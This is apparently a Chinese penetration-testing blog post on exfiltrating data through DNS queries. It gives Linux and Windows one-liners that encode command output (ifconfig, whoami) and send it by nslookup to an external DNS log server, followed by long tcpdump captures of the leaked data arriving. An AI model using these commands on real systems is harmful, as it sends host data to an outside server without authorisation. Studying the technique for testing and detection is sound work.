dns外带数据【渗透测试】

最新推荐文章于 2024-04-08 00:01:19 发布

leeezp

最新推荐文章于 2024-04-08 00:01:19 发布

阅读量10w+

点赞数

分类专栏：网络安全文章标签：网络安全安全性测试 web安全

本文链接：https://blog.csdn.net/leeezp/article/details/126779863

版权

网络安全专栏收录该内容

32 篇文章 5 订阅

订阅专栏

0x00 概述

上一篇文章我们已经介绍了搭建自己的dns log server 方法，接下来我将介绍如何通过dns query外带数据。下文中介绍的方法均为根据本人经验原创的方法，网上应该算是首次公开。

0x01 linux

nslookup `ifconfig|head -n 2|tail -n 1|sed s/[[:space:]]//g`.3.log.xxxxxx.xx

抛砖引玉，自行发挥。

注意：

1.尽量使用原生命令

2.将要输出内容集中到一行

3.dns域名长度限制

0x02 windows

del /F temp1 & cmd /v /c "whoami > temp && certutil -encode temp temp1 && findstr /L /V "CERTIFICATE" temp1 > temp2 && set /p MYVAR=<temp2 && set FINAL=!MYVAR:~0,-2!.log.xxxxxx.xx && echo !FINAL! && nslookup !FINAL!"

base64解码：c2MtMjAyMjA5MjQxNDM2XGFkbWluaXN0cmF0b3INCg -->>

sc-202209241436\administrator

上面的命令主要是通过base64编码命令的返回值，由于域名中不允许base64编码后添加的 “=”字符，最初我考虑将 “=”替换，后来发现这里有些坑点，详见：

.bat批处理（九）：替换带有等号=的字符串的子串_AlbertS的博客-CSDN博客_cmd 替换字符串

后来我转换思路，截掉最后2个字符，将剩余字符发送出来。

0x03 后记

在测试的过程中，windows发包发现一个玄学的现象。

在server端抓包会出现不区分大小写的情况：

当时复现的1个条件：

仅在 C:\Users\Administrator （默认 cmd 目录）开启的命令行，(比如在桌面新建命令行也不会影响)。

但我使用其他网段的同样的win10机器去发请求，没有出现小写的情况。在出问题的机器非默认cmd目录也没出现这个问题。

我分别在服务器端抓取正常和非正常的日志：

正常（有大小写）.log

tcpdump -i eth0 port 53 -nne -v
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
11:00:23.771872 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 121: (tos 0x0, ttl 43, id 24498, offset 0, flags [none], proto UDP (17), length 107)
116.236.159.114.35640 > 192.168.0.226.53: 16726 A? c2MtMjAyMjA5MjQxNDM2XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (79)
11:00:23.787907 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 137: (tos 0x0, ttl 64, id 14227, offset 0, flags [DF], proto UDP (17), length 123)
192.168.0.226.53 > 116.236.159.114.35640: 16726 1/0/0 c2MtMjAyMjA5MjQxNDM2XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. A 127.0.0.1 (95)
11:00:24.025287 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 121: (tos 0x0, ttl 43, id 47578, offset 0, flags [none], proto UDP (17), length 107)
116.236.159.86.34437 > 192.168.0.226.53: 18344 AAAA? c2MtMjAyMjA5MjQxNDM2XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (79)
11:00:24.025602 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 121: (tos 0x0, ttl 64, id 4372, offset 0, flags [DF], proto UDP (17), length 107)
192.168.0.226.53 > 116.236.159.86.34437: 18344 AAAA? c2MtMjAyMjA5MjQxNDM2XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (79)
11:00:24.825179 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 121: (tos 0x0, ttl 43, id 48236, offset 0, flags [none], proto UDP (17), length 107)
116.236.159.86.52781 > 192.168.0.226.53: 49872 AAAA? c2MtMjAyMjA5MjQxNDM2XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (79)
11:00:24.825493 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 121: (tos 0x0, ttl 64, id 4908, offset 0, flags [DF], proto UDP (17), length 107)
192.168.0.226.53 > 116.236.159.86.52781: 49872 AAAA? c2MtMjAyMjA5MjQxNDM2XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (79)
11:00:28.826587 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 121: (tos 0x0, ttl 43, id 49695, offset 0, flags [none], proto UDP (17), length 107)
116.236.159.86.47100 > 192.168.0.226.53: 57724 AAAA? c2MtMjAyMjA5MjQxNDM2XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (79)
11:00:28.826811 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 121: (tos 0x0, ttl 64, id 8831, offset 0, flags [DF], proto UDP (17), length 107)
192.168.0.226.53 > 116.236.159.86.47100: 57724 AAAA? c2MtMjAyMjA5MjQxNDM2XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (79)

非正常（有大小写和全小写）.log

tcpdump -i eth0 port 53 -nne -v
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
10:56:44.331253 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 44, id 39397, offset 0, flags [none], proto UDP (17), length 130)
47.117.57.32.52578 > 192.168.0.226.53: 46016% [1au] A? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (102)
10:56:44.349677 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 137: (tos 0x0, ttl 64, id 61458, offset 0, flags [DF], proto UDP (17), length 123)
192.168.0.226.53 > 47.117.57.32.52578: 46016 1/0/1 cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. A 127.0.0.1 (95)
10:56:44.449130 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 35, id 5009, offset 0, flags [none], proto UDP (17), length 130)
8.210.126.159.41316 > 192.168.0.226.53: 51247% [1au] A? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (102)
10:56:44.461234 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 137: (tos 0x0, ttl 64, id 34242, offset 0, flags [DF], proto UDP (17), length 123)
192.168.0.226.53 > 8.210.126.159.41316: 51247 1/0/1 cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. A 127.0.0.1 (95)
10:56:44.531468 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 43, id 9145, offset 0, flags [none], proto UDP (17), length 130)
117.68.17.183.48276 > 192.168.0.226.53: 5621% [1au] A? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:44.541599 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 137: (tos 0x0, ttl 64, id 57938, offset 0, flags [DF], proto UDP (17), length 123)
192.168.0.226.53 > 117.68.17.183.48276: 5621 1/0/1 cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. A 127.0.0.1 (95)
10:56:44.566306 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 9146, offset 0, flags [none], proto UDP (17), length 130)
117.68.17.183.27874 > 192.168.0.226.53: 408+% [1au] A? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:44.579625 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 137: (tos 0x0, ttl 64, id 57942, offset 0, flags [DF], proto UDP (17), length 123)
192.168.0.226.53 > 117.68.17.183.27874: 408 1/0/1 cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. A 127.0.0.1 (95)
10:56:44.762478 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 132: (tos 0x48, ttl 43, id 17083, offset 0, flags [none], proto UDP (17), length 118)
180.153.91.1.22105 > 192.168.0.226.53: 31975% [1au] AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (90)
10:56:44.762777 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 132: (tos 0x0, ttl 64, id 53571, offset 0, flags [DF], proto UDP (17), length 118)
192.168.0.226.53 > 180.153.91.1.22105: 31975% [1au] AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (90)
10:56:45.563116 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 132: (tos 0x48, ttl 43, id 17419, offset 0, flags [none], proto UDP (17), length 118)
180.153.91.1.61244 > 192.168.0.226.53: 4705% [1au] AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (90)
10:56:45.563405 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 132: (tos 0x0, ttl 64, id 53720, offset 0, flags [DF], proto UDP (17), length 118)
192.168.0.226.53 > 180.153.91.1.61244: 4705% [1au] AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (90)
10:56:45.985216 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 44, id 64891, offset 0, flags [none], proto UDP (17), length 130)
47.103.51.146.55166 > 192.168.0.226.53: 27786% [1au] AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (102)
10:56:45.985408 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 47829, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 47.103.51.146.55166: 27786% [1au] AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (102)
10:56:46.363422 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 132: (tos 0x48, ttl 43, id 18087, offset 0, flags [none], proto UDP (17), length 118)
180.153.91.1.9303 > 192.168.0.226.53: 62531% [1au] AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (90)
10:56:46.363848 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 132: (tos 0x0, ttl 64, id 54414, offset 0, flags [DF], proto UDP (17), length 118)
192.168.0.226.53 > 180.153.91.1.9303: 62531% [1au] AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (90)
10:56:46.539741 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 132: (tos 0x48, ttl 42, id 59843, offset 0, flags [none], proto UDP (17), length 118)
101.227.5.113.28883 > 192.168.0.226.53: 28287% [1au] A? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (90)
10:56:46.549100 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 137: (tos 0x0, ttl 64, id 41362, offset 0, flags [DF], proto UDP (17), length 123)
192.168.0.226.53 > 101.227.5.113.28883: 28287 1/0/1 cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. A 127.0.0.1 (95)
10:56:46.577745 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 121: (tos 0x48, ttl 42, id 59870, offset 0, flags [none], proto UDP (17), length 107)
101.227.5.113.59809 > 192.168.0.226.53: 62403 A? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (79)
10:56:46.587707 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 137: (tos 0x0, ttl 64, id 41396, offset 0, flags [DF], proto UDP (17), length 123)
192.168.0.226.53 > 101.227.5.113.59809: 62403 1/0/0 cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. A 127.0.0.1 (95)
10:56:47.176144 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x48, ttl 41, id 10348, offset 0, flags [none], proto UDP (17), length 130)
101.91.43.57.37182 > 192.168.0.226.53: 16411% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:47.176402 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 46026, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 101.91.43.57.37182: 16411% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:47.205594 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x48, ttl 41, id 10353, offset 0, flags [none], proto UDP (17), length 130)
101.91.43.57.41468 > 192.168.0.226.53: 21663% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:47.205886 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 46054, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 101.91.43.57.41468: 21663% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:47.234469 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x48, ttl 41, id 10358, offset 0, flags [none], proto UDP (17), length 130)
101.91.43.57.43880 > 192.168.0.226.53: 52588% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:47.234655 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 46055, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 101.91.43.57.43880: 52588% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:47.262452 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x48, ttl 41, id 10364, offset 0, flags [none], proto UDP (17), length 130)
101.91.43.57.12770 > 192.168.0.226.53: 56175% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:47.262716 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 46079, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 101.91.43.57.12770: 56175% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:47.290911 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x48, ttl 41, id 10365, offset 0, flags [none], proto UDP (17), length 130)
101.91.43.57.37725 > 192.168.0.226.53: 7679% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:47.291244 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 46093, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 101.91.43.57.37725: 7679% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:47.323721 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 43, id 9563, offset 0, flags [none], proto UDP (17), length 130)
117.68.17.183.29730 > 192.168.0.226.53: 51756+% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:47.324078 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 58900, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 117.68.17.183.29730: 51756+% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:47.348606 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 43, id 9569, offset 0, flags [none], proto UDP (17), length 130)
117.68.17.183.23556 > 192.168.0.226.53: 6982+% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:47.348897 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 58901, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 117.68.17.183.23556: 6982+% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:47.376430 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 9571, offset 0, flags [none], proto UDP (17), length 130)
117.68.17.183.38596 > 192.168.0.226.53: 11396+% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:47.376691 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 58923, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 117.68.17.183.38596: 11396+% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:47.397974 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 9577, offset 0, flags [none], proto UDP (17), length 130)
117.68.17.183.50472 > 192.168.0.226.53: 49837+% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:47.398265 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 58938, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 117.68.17.183.50472: 49837+% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:47.419000 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 121: (tos 0x0, ttl 43, id 60572, offset 0, flags [none], proto UDP (17), length 107)
116.236.159.86.39537 > 192.168.0.226.53: 14544 AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (79)
10:56:47.419319 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 121: (tos 0x0, ttl 64, id 3915, offset 0, flags [DF], proto UDP (17), length 107)
192.168.0.226.53 > 116.236.159.86.39537: 14544 AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (79)
10:56:47.421366 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 9582, offset 0, flags [none], proto UDP (17), length 130)
117.68.17.183.12816 > 192.168.0.226.53: 48644+% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:47.421488 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 58939, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 117.68.17.183.12816: 48644+% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:47.954578 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 54341, offset 0, flags [none], proto UDP (17), length 130)
113.96.212.12.53814 > 192.168.0.226.53: 60810% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:47.954894 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 6030, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 113.96.212.12.53814: 60810% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:47.962829 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 121: (tos 0x48, ttl 43, id 18934, offset 0, flags [none], proto UDP (17), length 107)
180.153.91.1.33690 > 192.168.0.226.53: 54315 AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (79)
10:56:47.963046 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 121: (tos 0x0, ttl 64, id 55480, offset 0, flags [DF], proto UDP (17), length 107)
192.168.0.226.53 > 180.153.91.1.33690: 54315 AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (79)
10:56:47.995446 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 43, id 54342, offset 0, flags [none], proto UDP (17), length 130)
113.96.212.12.24290 > 192.168.0.226.53: 12509% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:47.995622 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 6042, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 113.96.212.12.24290: 12509% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:48.037320 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 54343, offset 0, flags [none], proto UDP (17), length 130)
113.96.212.12.49535 > 192.168.0.226.53: 9257% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:48.037604 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 6061, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 113.96.212.12.49535: 9257% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:48.077791 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 43, id 54344, offset 0, flags [none], proto UDP (17), length 130)
113.96.212.12.3032 > 192.168.0.226.53: 51394% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:48.077974 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 6087, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 113.96.212.12.3032: 51394% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:48.118858 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 54345, offset 0, flags [none], proto UDP (17), length 130)
113.96.212.12.57126 > 192.168.0.226.53: 7148% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:48.119156 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 6121, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 113.96.212.12.57126: 7148% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:49.086292 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 6098, offset 0, flags [none], proto UDP (17), length 130)
14.116.128.12.55382 > 192.168.0.226.53: 18019% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:49.086511 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 64624, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 14.116.128.12.55382: 18019% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:49.125939 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 6099, offset 0, flags [none], proto UDP (17), length 130)
14.116.128.12.19148 > 192.168.0.226.53: 35900% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:49.126243 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 64651, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 14.116.128.12.19148: 35900% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:49.167475 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 6100, offset 0, flags [none], proto UDP (17), length 130)
14.116.128.12.1653 > 192.168.0.226.53: 20515% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:49.167748 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 64679, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 14.116.128.12.1653: 20515% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:49.205230 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 43, id 6101, offset 0, flags [none], proto UDP (17), length 130)
14.116.128.12.55493 > 192.168.0.226.53: 5852% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:49.205515 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 64697, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 14.116.128.12.55493: 5852% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:49.244907 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 43, id 6102, offset 0, flags [none], proto UDP (17), length 130)
14.116.128.12.42318 > 192.168.0.226.53: 51259% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:49.245211 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 64722, offset 0, flags [DF], proto UDP (17), length 130)
